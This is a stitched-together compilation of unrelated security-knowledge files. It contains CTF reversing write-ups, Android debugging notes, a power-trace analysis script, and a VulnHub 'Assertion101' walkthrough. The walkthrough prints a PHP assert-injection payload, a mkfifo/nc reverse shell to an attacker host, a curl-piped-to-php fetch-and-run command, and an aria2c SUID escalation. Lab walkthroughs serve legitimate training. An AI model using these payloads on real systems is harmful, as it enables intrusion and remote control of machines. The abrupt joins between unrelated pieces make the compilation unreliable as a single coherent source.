"".join(chr(x) for x in XidT) 'SuperSecretKey' ``` Then enter it when the script asks for it: ```console root@kali:/media/sf_CTFs/tamu/Snakes_over_cheese# python reversing2.pyc Clock.exe >: SuperSecretKey flag{decompile} ```
sec-knowleage
# Assertion101 > https://download.vulnhub.com/assertion/Assertion-1.0.1.rar 靶场IP:`192.168.2.138` 扫描对外端口服务 ``` ┌──(root💀kali)-[~] └─# nmap -p1-65535 -sV 192.168.2.138 Starting Nmap 7.91 ( https://nmap.org ) at 2022-09-12 09:50 EDT Nmap scan report for 192.168.2.138 Host is up (0.0011s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) MAC Address: 00:0C:29:79:7E:97 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.73 seconds ``` 访问80端口 ![image-20220912215514037](../../.gitbook/assets/image-20220912215514037.png) 文件包含漏洞 ``` ' and die(show_source('/etc/passwd')) or ' ``` ![image-20220912215945206](../../.gitbook/assets/image-20220912215945206.png) 新建反弹shell ``` <?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.129 1234 >/tmp/f'); ?> ``` ``` ' and die(system("curl http://192.168.2.129/shell.php|php")) or ' ``` aria2c的suid ``` sudo install -m =xs $(which aria2c) . COMMAND='id' TF=$(mktemp) echo "$COMMAND" > $TF chmod +x $TF ./aria2c --on-download-error=$TF http://x ```
sec-knowleage
### Android 调试基本原理 一般来说,Android 根据如下的顺序来判断一个应用是否可以被调试 1. 检测 boot.img 中的 ro.debuggable 是否为1,为 1 的话,手机中的任何应用均可以调试。 2. 否则,检测对应应用中 AndroidManifest.xml 中 \<application\> 元素中是否包含了android:debuggable="true",如果有的话,才会开启调试支持。 自然,我们也就有两种方法来使得一个应用可以被调试 1. 将一个 apk 文件解包,在 \<application\> 元素中添加 android:debuggable="true",然后重打包,签名。 2. 修改 boot.img 中的 ro.debuggable 为 1。 一般来说,因为前者需要我们每次都需要修改应用,比较麻烦,我们更倾向于后者,。 对于后者来说,我们需要 root 手机,并刷入相关的镜像。(**!!找一篇合适的文章!!**) 此外,由 Andoird AVD 生成的模拟器默认情况下 ro.debuggable 被设置为1。 `ro.debuggable` 的值可以根据如下命令来查询 ```shell adb shell getprop ro.debuggable ``` ### Android基本调试工具DDMS DDMS(Dalvik Debug Monitor Service)是Dalvik虚拟机调试监控服务,可以监视Android程序在运行过程中的状态以及结果,可以大大加快我们的程序分析效率。这是一款由Android SDK提供的工具,其中有设备截屏,查看运行的线程信息、文件浏览、Logcat、Method Profiling、广播状态信息、模拟电话呼叫、接收SMS等功能。该工具一般位于Android SDK的tools目录下,其中ddms.bat就是用来启动DDMS的。DDMS中比较重要的功能主要是 - 文件浏览,我们可以观察并分析程序在执行过程中对文件的生成,修改,删除操作。 - Logcat,可以输出软件的一些调试信息。 - Method Profiling,可以跟踪程序的执行流程。
sec-knowleage
from library import * import sys import numpy as np SZ = 10 inputs, outputs, traces1 = parse(sys.argv[1], SZ, left = 600000, right=700000) inputs, outputs, traces2 = parse(sys.argv[2], SZ, left = 600000, right=700000) traces = np.concatenate((traces1, traces2)) normalize(traces) for i in range(len(traces)): traces[i] = np.convolve(traces[i], np.ones(25))[:len(traces[i])] align(traces, range(-5000, 15000)) if 1: traces = traces[:,72500:78000] align(traces, range(-250, 250)) if 0: traces = traces[:,300:1200] align(traces, range(-10, 10)) tr1 = np.mean(traces[:SZ], 0) tr1s = np.std(traces[:SZ], 0) tr2 = np.mean(traces[SZ:], 0) tr2s = np.std(traces[SZ:], 0) # show_red_green([tr1-tr1s, tr1+tr1s], [tr2-tr2s, tr2+tr2s]) show_red_green(traces[:SZ], traces[SZ:])
sec-knowleage
# merces (re 100) ###ENG [PL](#pl-version) In the task we get an ELF [binary](merces) to work with. W put it in ret-dec and we get a nice decompilation result: ```c // Address range: 0x804842b - 0x804850a int32_t flag(int32_t a1, int32_t a2) { // 0x804842b int32_t chars_printed; // 0x804850a_2 if (a1 != 42 || a2 < 2) { // 0x8048452 if (a1 == 42) { // 0x8048452 chars_printed = g1; // branch -> 0x8048509 } else { // 0x80484f5 putchar(51); putchar(68); putchar(83); putchar(123); putchar(48); putchar(112); putchar(49); putchar(110); putchar(49); putchar(64); printf("_te_"); chars_printed = printf("pr%dnd%d}\n", 3, 3); // branch -> 0x8048509 } // 0x8048509 return chars_printed; } // 0x804843d chars_printed = printf("3DS{c0ruj0u}"); // branch -> 0x8048509 // 0x8048509 return chars_printed; } // Address range: 0x804850b - 0x804853f int main(int argc, char ** argv) { int32_t v1 = argc; g1 = &v1; flag(42, argc); return 0; } ``` We can see that simply running the binary will return a fake flag `3DS{c0ruj0u}` because the passed parameter is `42`. We can also see that if we could modify the value passed to the `flag` function, for example with a debugger or by patching the binary, it would print the flag for us. However, we don't even need that, considering we can see that that flag comes from: ```c putchar(51); putchar(68); putchar(83); putchar(123); putchar(48); putchar(112); putchar(49); putchar(110); putchar(49); putchar(64); printf("_te_"); printf("pr%dnd%d}\n", 3, 3) ``` Which evaluates to `3DS{0p1n1@_te_pr3nd3}`. ###PL version W zadaniu dostajemy ELFową [binarke](merces). Po wrzuceniu jej do ret-dec dostajemy dość ładny zdekompilowany kod: ```c // Address range: 0x804842b - 0x804850a int32_t flag(int32_t a1, int32_t a2) { // 0x804842b int32_t chars_printed; // 0x804850a_2 if (a1 != 42 || a2 < 2) { // 0x8048452 if (a1 == 42) { // 0x8048452 chars_printed = g1; // branch -> 0x8048509 } else { // 0x80484f5 putchar(51); putchar(68); putchar(83); putchar(123); putchar(48); putchar(112); putchar(49); putchar(110); putchar(49); putchar(64); printf("_te_"); chars_printed = printf("pr%dnd%d}\n", 3, 3); // branch -> 0x8048509 } // 0x8048509 return chars_printed; } // 0x804843d chars_printed = printf("3DS{c0ruj0u}"); // branch -> 0x8048509 // 0x8048509 return chars_printed; } // Address range: 0x804850b - 0x804853f int main(int argc, char ** argv) { int32_t v1 = argc; g1 = &v1; flag(42, argc); return 0; } ``` Widzimy od razu że samo uruchomienie aplikacji da nam fałszywą flagę `3DS{c0ruj0u}` ponieważ do funkcji flag przekazywany jest argument `42`. Widzimy też, że moglibyśmy zmodyfikować tą wartość debugerem lub patchując aplikacje i wypisała by dla nas flagę. Ale nie musimy robić nawet tego, ponieważ widać wyraźnie że prawdziwa flaga wychodzi z: ```c putchar(51); putchar(68); putchar(83); putchar(123); putchar(48); putchar(112); putchar(49); putchar(110); putchar(49); putchar(64); printf("_te_"); printf("pr%dnd%d}\n", 3, 3) ``` Co ewaluuje się do `3DS{0p1n1@_te_pr3nd3}`.
sec-knowleage